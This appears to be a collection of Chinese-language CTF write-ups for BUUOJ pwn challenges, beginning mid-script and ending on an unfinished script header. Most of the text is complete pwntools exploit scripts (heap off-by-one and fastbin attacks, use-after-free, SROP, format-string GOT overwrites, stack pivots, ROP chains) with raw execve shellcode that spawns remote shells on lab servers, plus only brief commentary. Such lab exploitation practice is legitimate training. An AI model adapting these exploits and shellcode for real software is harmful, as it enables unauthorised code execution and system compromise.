canary_leak = u64(canary_leak)
print "The canary leak is",hex(canary_leak)
'''步骤二:泄露libc地址'''
conn.recvuntil(">>")
conn.send("1")
payload = "A"*0x98
conn.send(payload)
conn.recvuntil(">>")
conn.send("2")
conn.recvuntil(payload)
libc_leak = conn.recv(6)
libc_leak = libc_leak.ljust(8,"\x00")
libc_leak = u64(libc_leak)
print "The libc leak is",hex(libc_leak)
__libc_start_main = libc_leak - 240
libc = LibcSearcher("__libc_start_main",__libc_start_main)
libc_base = __libc_start_main - libc.dump("__libc_start_main")
print "The libc base is",hex(libc_base)
'''步骤三:用onegadget覆盖main函数的返回地址'''
one_gadget = libc_base + 0x45216
conn.recvuntil(">>")
conn.send("1")
payload = "A"*0x88
payload += p64(canary_leak) + p64(0)
payload += p64(one_gadget) + p64(0)*12
conn.send(payload)
'''步骤四:触发漏洞'''
conn.recvuntil(">>")
conn.send("3")
pause()
conn.interactive()
这个是一个重复的题目
这个题目虽然是水体,但是我做了好久,突然顿悟,其实所有的漏洞最核心的就是找到可以越界写的部分,这里是off-by-one
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Size of Heap :")
conn.sendline(str(size))
conn.recvuntil("Content of heap:")
conn.sendline(str(content))
def edit_heap(index,content):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
conn.recvuntil("Content of heap :")
conn.sendline(str(content))
def show_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
def delete_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("4")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28872
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./heapcreator'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./magicheap")
#pwnlib.gdb.attach(conn,"b *0x400C38\nb *0x400B2B")# b *0x400CCB
pause()
bss = 0x6020a0
free_got = 0x602018
hack = 0x400C50
'''步骤一:通过overlapping利用off-by-one,导致可写的长度发生变化'''
create_heap(0x18,"") #0
create_heap(0x18,"") #1
create_heap(0x38,"") #2
create_heap(0x38,"") #3
create_heap(0x38,"") #4
payload = "A"*0x18 + "\xa1" #off-by-one
edit_heap(0,payload)
delete_heap(1)
delete_heap(3)
create_heap(0x50,"") #这个就是我们越界写的块
'''步骤二:通过修改位置1为got表,泄露libc地址'''
payload = p64(0)*7 + p64(0x21) + p64(0x60) + p64(free_got)
edit_heap(1,payload)
show_heap(2) #利用功能二泄露got内容
conn.recvuntil("Content : ")
free_leak = conn.recvuntil("\n",drop=True)
free_leak = free_leak.ljust(8,"\x00")
free_leak = u64(free_leak)
print "The free leak is",hex(free_leak)
libc = LibcSearcher("free",free_leak)
libc_base = free_leak - libc.dump("free")
print "The base libc addr is",hex(libc_base)
malloc_hook = libc_base + libc.dump("__malloc_hook")
realloc_hook = libc_base + libc.dump("__realloc_hook")
realloc = libc_base + libc.dump("realloc")
print "The realloc addr is",hex(realloc)
print "The malloc hook addr is",hex(malloc_hook)
print "The realloc hook addr is",hex(realloc_hook)
one_gadget = libc_base + 0x4526a #0x4526a#0xf02a4#0xf1147
print "The one_gadget is",hex(one_gadget)
'''步骤三:通过修改位置1为malloc hook,实现onegadget'''
payload = p64(0)*7 + p64(0x21) + p64(0x60) + p64(realloc_hook)
edit_heap(1,payload)
payload = p64(0)+p64(one_gadget)
#payload = p64(one_gadget)+p64(realloc+8)
edit_heap(2,payload)
#create_heap(0x18,"") #0
conn.recvuntil("Your choice :")
conn.sendline("1")
pause()
conn.interactive()
说实话,题目并不难,但是关于细节的计算上花费了点时间,这个题目本质上还是overlapping
,关键的漏洞环节在sub_E26
,人为的保留了一个off-by-one漏洞,这个函数返回的是输入的长度,当在write_note
环节输入的长度比原定的长度大10的时候,返回可写长度多一个字节,这就导致了off-by-one
于是我们就有了如下思路
在中间需要注意,在overlapping的过程中,注意恢复破坏块的堆块结构
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_note(size):
conn.recvuntil("choice:")
conn.sendline("1")
conn.recvuntil("size:")
conn.sendline(str(size))
def write_note(index,size,content):
conn.recvuntil("choice:")
conn.sendline("2")
conn.recvuntil("index:")
conn.sendline(str(index))
conn.recvuntil("size:")
conn.sendline(str(size))
conn.recvuntil("content:")
conn.send(str(content))
def drop_note(index):
conn.recvuntil("choice:")
conn.sendline("3")
conn.recvuntil("index:")
conn.sendline(str(index))
def show_note(index):
conn.recvuntil("choice:")
conn.sendline("4")
conn.recvuntil("index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27533
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./roarctf_2019_easy_pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./magicheap")
#pwnlib.gdb.attach(conn,"b main")
pause()
'''第一步:用off-by-one思路构造可以越界写的堆块'''
create_note(0x18) #0
create_note(0x18) #1
create_note(0x18) #2
create_note(0x88) #3 这里用smallbin就是为了泄露main_arena地址
create_note(0x18) #4
create_note(0x18) #5
payload = "A"*0x18 + "\xd1" #off-by-one,这里我们越界使得第1个块可以控制2、3块位置
write_note(0,0x18+10,payload)
drop_note(1)
create_note(0xc0) #1
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x91) #这一步很重要,需要恢复2、3块原本的堆结构
write_note(1,len(payload),payload)
'''第二步:通过释放samllbin,free后泄露main_arena地址,然后计算一系列的libc地址'''
drop_note(3)
payload = "A"*0x40 #填充,使得泄露smallbin的链接地址
write_note(1,len(payload),payload)
show_note(1)
conn.recvuntil(payload)
main_arena_leak = conn.recv(6)
main_arena_leak = main_arena_leak.ljust(8,"\x00")
malloc_hook_leak = u64(main_arena_leak) - 88 - 0x10
print "The malloc_hook leak is",hex(malloc_hook_leak)
libc = LibcSearcher("__malloc_hook",malloc_hook_leak)
libc_base = malloc_hook_leak - libc.dump("__malloc_hook")
print "The libc base is",hex(libc_base)
one_gadget = libc_base + 0x4526a
print "The one_gadget is",hex(one_gadget)
realloc = libc_base + libc.dump("realloc")
'''第三步:利用fastbin attack实现__realloc_hook和__malloc_hook的控制'''
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x91) #fix the small bin
write_note(1,len(payload),payload)
#old_3 = new_3 + new_6
create_note(0x60) #3
create_note(0x10) #6
drop_note(3)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(malloc_hook_leak - 0x23)
write_note(1,len(payload),payload)
create_note(0x60) #3
create_note(0x60) #7 ,这个就是我们想要的块
'''第四步:构造hook,实现onegadget,__malloc_hook -> realloc -> one_gadget'''
#payload = "A"*0x13 + p64(one_gadget)
payload = "A"*0xb + p64(one_gadget) + p64(realloc)
write_note(7,len(payload),payload)
#触发__malloc_hook
conn.recvuntil("choice:")
conn.sendline("1")
conn.recvuntil("size:")
conn.sendline("521")
pause()
conn.interactive()
居然被一个2014年的题目卡住了好久,不过思路也是受到了一点点启发,其中有一些不错的经验可以借鉴
dword_602100
和s
,如果有方法修改s就可以任意地址写s
上方的stdin位置内容,利用fastbin attack构造大小为0x70的堆块,然后利用堆溢出漏洞修改s表,然后将strlen的got表指向puts的plt表位置,这样在执行如下位置时候,就能实现内容的打印之前还没有用过将got表劫持成为其他函数的plt地址的情况,需要在程序中找到合适的位置,并且修改后不影响原有程序运行才可以。学习了!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_note(size):
conn.sendline("1")
conn.sendline(str(size))
def write_note(index,size,content):
conn.sendline("2")
conn.sendline(str(index))
conn.sendline(str(size))
conn.send(content)
def drop_note(index):
conn.sendline("3")
conn.sendline(str(index))
def show_note(index):
conn.sendline("4")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29277
conn = remote(HOST ,PORT)
pause()
strlen_got = 0x602030
malloc_got = 0x602070
puts_plt = 0x400760
'''步骤一:利用fastbin attack在全局变量s上面开辟一个堆块,利用stdin的第六位为\x7f'''
create_note(0x60) #1
create_note(0x60) #2
create_note(0x60) #3
create_note(0x60) #4
drop_note(3)
payload = p64(0)*13 + p64(0x71) + p64(0x6020d0-3)
write_note(2,len(payload),payload)
create_note(0x60) #5
create_note(0x60) #6, fastbin attack!
drop_note(1)
'''步骤二:通过修改strlen的got表内容为puts_plt+6地址,修改程序流,结合修改全局变量s内容从而泄露libc地址'''
payload = "A"*3 + p64(0)*2 + p64(6) + p64(0)*10
payload += p64(strlen_got) + p64(malloc_got)
write_note(6,len(payload),payload)
payload = p64(puts_plt+6)
write_note(1,len(payload),payload)
show_note(2)
conn.recvuntil("OK\n"*4)
malloc_leak = conn.recv(6)
malloc_leak = u64(malloc_leak.ljust(8,"\x00"))
libc = LibcSearcher("malloc",malloc_leak)
libc_base = malloc_leak - libc.dump("malloc")
one_gadget = libc_base + 0xf02a4
realloc_hook = libc_base + libc.dump("__realloc_hook")
realloc = libc_base + libc.dump("realloc")
print "The malloc leak is ",hex(malloc_leak)
print "The libc leak is",hex(libc_base)
print "The one_gadget is",hex(one_gadget)
'''步骤三:再次修改全局变量s,修改malloc_hook指向onegadget地址getshell'''
payload = "A"*3 + p64(0)*2 + p64(6) + p64(0)*10
payload += p64(realloc_hook)
write_note(6,len(payload),payload)
payload = p64(one_gadget) + p64(one_gadget)
write_note(1,len(payload),payload)
show_note(1)
create_note(0x20) #触发漏洞
pause()
conn.interactive()
这个题目表现上需要jmp esp,实际上直接onegadget就行了,因为长度原因不可以直接写入shellcode
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27460
conn = remote(HOST ,PORT)
pause()
jmp_esp = 0x08048554
puts_plt = 0x08048390
puts_got = 0x804A014
main = 0x08048559
'''步骤一:通过puts泄露libc地址'''
conn.recvuntil(">")
payload = "A"*0x24 + p32(puts_plt) + p32(main) + p32(puts_got)
conn.sendline(payload)
conn.recvuntil("OK bye~\n")
puts_leak = u32(conn.recv(4))
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
onegadget = libc_base + 0x672a0
'''步骤二:直接onegadget'''
conn.recvuntil(">")
payload = "A"*0x24 + p32(onegadget) + p32(0)*2
#payload = "A"*0x24 + p32(jmp_esp) + p32(onegadget) + p32(0)
conn.sendline(payload)
pause()
conn.interactive()
一开始以为需要用到unlink
攻击,但是实际上看看就是一个UAF的利用,但是应用条件需要巧妙一点,因为设置申请堆块的次数不超过5次,需要规划每一次布局
我的解题思路如下:
system
地址,然后随后写入sh
,这样在执行的时候就可以实现getshell看起来简单,但是要把逻辑走通还是废了点小心思的,关键就是如何利用system函数,然后为什么在system函数后写入sh,需要大家好好考虑情况
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Note size :")
conn.sendline(str(size))
conn.recvuntil("Content :")
conn.sendline(content)
def delete_note(index):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
def print_note(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27335
conn = remote(HOST ,PORT)
pause()
puts_func_link = 0x804862B
puts_got = 0x0804A024
'''step1:通过UAF修改1的函数地址和堆块地址,从而泄露libc地址'''
add_note(0x28,"") #0
add_note(0x28,"") #1
delete_note(1)
delete_note(0)
payload = p32(puts_func_link) + p32(puts_got)
add_note(0x8,payload) #2
print_note(1)
puts_leak = u32(conn.recv(4))
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print "The puts leak is",hex(puts_leak)
print "The libc_base is hex",hex(libc_base)
print "The system is hex",hex(system)
print "The bin_sh is",hex(bin_sh_addr)
'''step2:再次修改位置2,利用0x804893D函数执行方式直接getshell'''
delete_note(2)
payload = p32(system) + "\nsh\n"
add_note(0x8,payload) #3
print_note(1)
pause()
conn.interactive()
真的只需要一个shellcode就可以了···
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25362
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("Enter a string!")
getshell = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.sendline(getshell)
pause()
conn.interactive()
就是SROP,然后和前面的那个题目没啥区别,就改改地址就行了,不多写了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26650
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./ciscn_2019_es_7")
#pwnlib.gdb.attach(conn,"b vuln\nb *0x400517\n")
pause()
mov_rax_3b = 0x4004E2
mov_rax_0f = 0x4004DA
bin_sh = 0x601080
vuln = 0x04004ED
syscall_ret = 0x400517
'''第一步:泄露栈地址'''
payload = "A"*0x10 + p64(vuln)
conn.send(payload)
conn.recvuntil("A"*0x10)
conn.recv(0x10)
stack_leak = u64(conn.recv(8))
print "The stack leak is",hex(stack_leak)
'''第二步:构造SROP链'''
payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
sigframe_1 = SigreturnFrame()
offset = stack_leak - 0x118 + len(payload) + len(sigframe_1) #这一步需要注意,算准rsp返回的位置
#第一个sigframe,用于将/bin/sh写入data段
sigframe_1.rax = constants.SYS_read
sigframe_1.rdi = 0
sigframe_1.rsi = bin_sh
sigframe_1.rdx = 0x300
sigframe_1.rsp = offset
sigframe_1.rip = syscall_ret
payload += str(sigframe_1)
payload += p64(mov_rax_0f) + p64(syscall_ret)
#第二个sigframe,用于调用execve来getshell
sigframe_2 = SigreturnFrame()
sigframe_2.rax = constants.SYS_execve
sigframe_2.rdi = bin_sh
sigframe_2.rsi = 0
sigframe_2.rdx = 0
sigframe_2.rsp = offset + 0x10 + len(sigframe_2)
sigframe_2.rip = syscall_ret
payload += str(sigframe_2)
payload += p64(vuln)
conn.send(payload)
pause()
conn.send("/bin/sh\x00") #写入data段的输入
conn.interactive()
就是万能gadget,没有什么难度
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Note size :")
conn.sendline(str(size))
conn.recvuntil("Content :")
conn.sendline(content)
def delete_note(index):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
def print_note(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29479
conn = remote(HOST ,PORT)
pause()
main = 0x40061A
rop1 = 0x04006AA
rop2 = 0x0400690
write_got = 0x600A58
conn.recvuntil("Input:\n")
payload = "A"*0x88
payload += p64(rop1) + p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(write_got) + p64(1) + p64(rop2)
payload += p64(0)*7
payload += p64(main)
conn.sendline(payload)
write_leak = u64(conn.recv(8))
libc = LibcSearcher("write",write_leak)
libc_base = write_leak - libc.dump("write")
print "THe write_leak is",hex(write_leak)
print "THe libc base is",hex(libc_base)
one_gadget = libc_base + 0x4526a
conn.recvuntil("Input:\n")
payload = "A"*0x88
payload += p64(one_gadget) + p64(0*10)
conn.sendline(payload)
pause()
conn.interactive()
就是正常的堆溢出,利用的点在利用bss段的stdin,然后修改全局变量实现任意地址读写,不是很复杂
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def show_item():
conn.recvuntil("Your choice:")
conn.sendline("1")
def add_item(size,content):
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Please enter the length of item name:")
conn.sendline(str(size))
conn.recvuntil("Please enter the name of item:")
conn.sendline(content)
def change_item(index,size,content):
conn.recvuntil("Your choice:")
conn.sendline("3")
conn.recvuntil("Please enter the index of item:")
conn.sendline(str(index))
conn.recvuntil("Please enter the length of item name:")
conn.sendline(str(size))
conn.recvuntil("Please enter the new name of the item:")
conn.sendline(content)
def remove_item(index):
conn.recvuntil("Your choice:")
conn.sendline("4")
conn.recvuntil("Please enter the index of item:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28512
conn = remote(HOST ,PORT)
pause()
stdin = 0x6020b0
free_got = 0x602018
'''步骤一:先使用fastbin attack,利用的点是stdin位置'''
add_item(0x60,"") #0
add_item(0x60,"") #1
add_item(0x60,"") #2
add_item(0x60,"") #3
remove_item(2)
payload = p64(0)*13+p64(0x71)+p64(stdin-3)
change_item(1,len(payload),payload)
add_item(0x60,"") #2
add_item(0x60,"") #4
'''步骤二:泄露libc基地址'''
payload = "\x00"*3 + p64(0x60) + p64(free_got)
change_item(4,len(payload)+1,payload)
show_item()
conn.recvuntil("0 : ")
free_leak = conn.recv(6)
free_leak = u64(free_leak.ljust(8,"\x00"))
libc = LibcSearcher("free",free_leak)
libc_base = free_leak - libc.dump("free")
realloc = libc_base + libc.dump("realloc")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
__realloc_hook = libc_base + libc.dump("__realloc_hook")
onegadget = libc_base + 0x4526a
print "The free leak is",hex(free_leak)
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(onegadget)
'''步骤三:修改realloc hook和malloc hook进行onegadget'''
show_item()
payload = "\x00"*3 + p64(0x60) + p64(__realloc_hook)
change_item(4,len(payload)+1,payload)
payload = p64(onegadget) + p64(realloc)
change_item(0,len(payload)+1,payload)
conn.recvuntil("Your choice:")
conn.sendline("2")
conn.recvuntil("Please enter the length of item name:")
conn.sendline("32")
pause()
conn.interactive()
这个题目其实不是很难,虽然是libc2.27,但是和tcache的机制没有什么关系,本题利用的是overlapping实现堆溢出,然后利用修改堆地址实现任意地址读写,其中需要在全局变量heaparray部分构造一个fake_heap,具体方法是
p64(heaparray_4+0x8) + p64(0x200) + p64(__free_hook)
然后主义一个小tips,这里的__malloc_hook + __realloc_hook
都不好使,这里用的是__free_hook
上代码
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Size of Heap(0x10 or 0x20 only) :")
conn.sendline(str(size))
conn.recvuntil("Content:")
conn.send(content)
def edit_heap(index,content):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
conn.recvuntil("Content:")
conn.send(content)
def show_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
def delete_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("4")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28401
conn = remote(HOST ,PORT)
pause()
stdin = 0x602090
heaparray_4 = 0x6020c0
free_got = 0x602018
'''第一步,通过off-by-one实现overlapping,实现可以篡改index为1部分的堆指向'''
create_heap(0x18,"0") #0
create_heap(0x18,"1") #1
create_heap(0x18,"2") #2
create_heap(0x18,"3") #3
payload = "\x00"*0x18 + "\x41"
edit_heap(0,payload)
delete_heap(1)
create_heap(0x38,"new1") #1
'''这一步修改index为1的部分的堆指向全局变量heaparray中index为4的位置'''
payload = "\x00"*0x18 + p64(0x21) + p64(0x100) + p64(heaparray_4)
edit_heap(1,payload)
'''这一步在heaparray中构造一个假的堆,指向free_got用于泄露libc地址'''
payload = p64(heaparray_4+0x8) + p64(0x200) + p64(free_got)
edit_heap(1,payload)
'''第二步,泄露libc地址,计算onegadget地址 '''
show_heap(4)
conn.recvuntil("Content : ")
free_leak = conn.recv(6)
free_leak = u64(free_leak.ljust(8,"\x00"))
libc = LibcSearcher("free",free_leak)
libc_base = free_leak - libc.dump("free")
realloc = libc_base + libc.dump("realloc")
__malloc_hook = libc_base + libc.dump("__malloc_hook")
__realloc_hook = libc_base + libc.dump("__realloc_hook")
__free_hook = libc_base + libc.dump("__free_hook")
onegadget = libc_base + 0x4f322
print "The free leak is",hex(free_leak)
print "The libc base is",hex(libc_base)
print "The onegadget is",hex(onegadget)
'''第三步,通过修改fake堆中的指向,指向free_hook触发onegadget'''
payload = p64(heaparray_4+0x8) + p64(0x200) + p64(__free_hook)
edit_heap(1,payload)
payload = p64(onegadget) + p64(onegadget)
edit_heap(4,payload)
delete_heap(0) #触发漏洞
pause()
conn.interactive()
就是栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25920
conn = remote(HOST ,PORT)
pause()
gets_plt = 0x08048440
pop_ebx = 0x08048409
exec_string = 0x080485CB
string = 0x0804A060
conn.recvuntil("Please input:")
payload = "A" * 0x70 + p32(gets_plt) + p32(pop_ebx) + p32(string) + p32(exec_string)
conn.sendline(payload)
pause()
conn.sendline("/flag")
pause()
conn.interactive()
这个题目很简单,就是简单的格式化字符串,但是解题的思路稍微绕了个弯,就是我们在篡改got表地址覆盖为onegadget时候,受到了一些限制条件,在篡改的时候只能用两个%c%xx$hn
来修改got表,长度必然大于26,就很难满足libc的限制条件(可以自己测一下)
直接篡改putchar是不行的,正确的方法是篡改printf函数,然后用read的时候写入大量\x00
来满足onegadget条件
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27619
conn = remote(HOST ,PORT)
pause()
'''第一步,格式化字符串泄露libc地址'''
printf_got = 0x804A014
conn.recvuntil("Do you know repeater?")
conn.sendline("%35$p")
conn.recv()
__libc_start_main_leak = conn.recvuntil("\n",drop=True)
__libc_start_main_leak = int(__libc_start_main_leak,16)
print "The __libc_start_main_leak is",hex(__libc_start_main_leak)
__libc_start_main = __libc_start_main_leak -247
libc = LibcSearcher("__libc_start_main",__libc_start_main)
libc_base = __libc_start_main - libc.dump("__libc_start_main")
one_gadget = libc_base + 0x3a819
print "The libc base is",hex(libc_base)
print "one_gadget is",hex(one_gadget)
'''第二步,格式化字符串任意地址写'''
num1 = one_gadget / 0x10000
num2 = ((0x10000 - num1) + (one_gadget % 0x10000)) % 0x10000
payload = "%"+str(num1)+"c%26$hn" + "%"+str(num2)+"c%27$hn"
print payload
payload = payload.ljust(0x20,"\x00") + p32(0)*12
payload += p32(printf_got+2) + p32(printf_got)
conn.sendline(payload)
print payload,len(payload)
payload = p32(0)*20 # 写入大量的\x00满足onegadget条件
conn.sendline(payload)
pause()
conn.interactive()
都是套路
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Size of Heap(0x10 or 0x20 only) :")
conn.sendline(str(size))
conn.recvuntil("Content:")
conn.send(content)
def edit_heap(index,content):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
conn.recvuntil("Content:")
conn.send(content)
def show_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
def delete_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("4")
conn.recvuntil("Index :")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27217
conn = remote(HOST ,PORT)
pause()
file = ELF("./PicoCTF_2018_can-you-gets-me")
main_addr = 0x080488A3
mprotect = file.symbols['mprotect']
bss = 0x80EB000 #注意mprotect必须是整块
read = file.symbols['read']
execute_size = 0x100
'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
payload = "A"*0x1c + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
conn.sendline(payload)
pause()
'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
payload = "A"*0x1c + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
conn.sendline(payload)
pause()
'''步骤三:bss段写入shellcode'''
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
conn.sendline(shellcode)
conn.interactive()
pause()
conn.interactive()
常规题目,利用leave转移栈空间
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 29100
conn = remote(HOST ,PORT)
pause()
main = 0x400800
leave_ret = 0x400A18
pop_rdi_ret = 0x400ad3
pop_rsi_r15_ret = 0x400ad1
read_got = 0x601048
puts_plt = 0x0400730
puts_got = 0x601020
ROP1 = 0x0400ACA
ROP2 = 0x0400AB0
'''第一步,利用栈溢出调用leave_ret转移栈空间,注意在第一次输入提前布置好内容'''
conn.recvuntil("How many bytes of your message?")
conn.sendline(str(0xe0))
conn.recvuntil("Your message will be saved at ")
stack_leak = conn.recvuntil("\n",drop=True)
stack_leak = int(stack_leak,16)
print "The stack leak is",hex(stack_leak)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) #泄露libc地址
payload += p64(ROP1) + p64(0) + p64(1) + p64(read_got) + p64(0x100) + p64(stack_leak + 0x100) + p64(0)
payload += p64(ROP2) + p64(0)*2 + p64(stack_leak + 0x100 - 0x8) + p64(0)*4 # 使用万能gadget调用read函数,写入onegadget地址
payload += p64(leave_ret) #再次转移栈空间至onegadget地址
payload = payload.ljust(0xd0,"\x00")
payload += p64(stack_leak - 0x8) + p64(leave_ret)
conn.send(payload)
conn.recvuntil("Byebye~\n")
puts_leak = conn.recv(6)
puts_leak = u64(puts_leak.ljust(8,"\x00"))
print "The read got leak is",hex(puts_leak)
libc = LibcSearcher("puts",puts_leak)
libc_base = puts_leak - libc.dump("puts")
print "The libc base is",hex(libc_base)
onegadget = libc_base + 0x4f302
'''第二步,计算并算好onegadget地址写入'''
pause()
content = p64(onegadget) + p64(0)*20
conn.send(content)
pause()
#conn.sendline(str(0xe0))
conn.interactive()
水…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28533
conn = remote(HOST ,PORT)
pause()
payload = "A"*0x9 + p64(0x4006D0)
conn.sendline(payload)
conn.interactive()
详细题解见tcache attack学习笔记
虽然程序不能反汇编,但是很容易能够看出来,程序对输入有过滤限制,只能识别数字和大小写字符。这就是一个典型的alphnumberic shellcode的问题了,因为限制条件不是很严格,所以可以直接通过alpha3工具来解决
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
if __name__ == '__main__':
shellcode = asm(shellcraft.sh())
f = open("shellocde.txt","w")
f.write(shellcode)
f.close()
print shellcode
生成硬编码的shellcode以后执行
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode.txt" > output.txt
执行代码
# -*- coding: utf-8 -*-
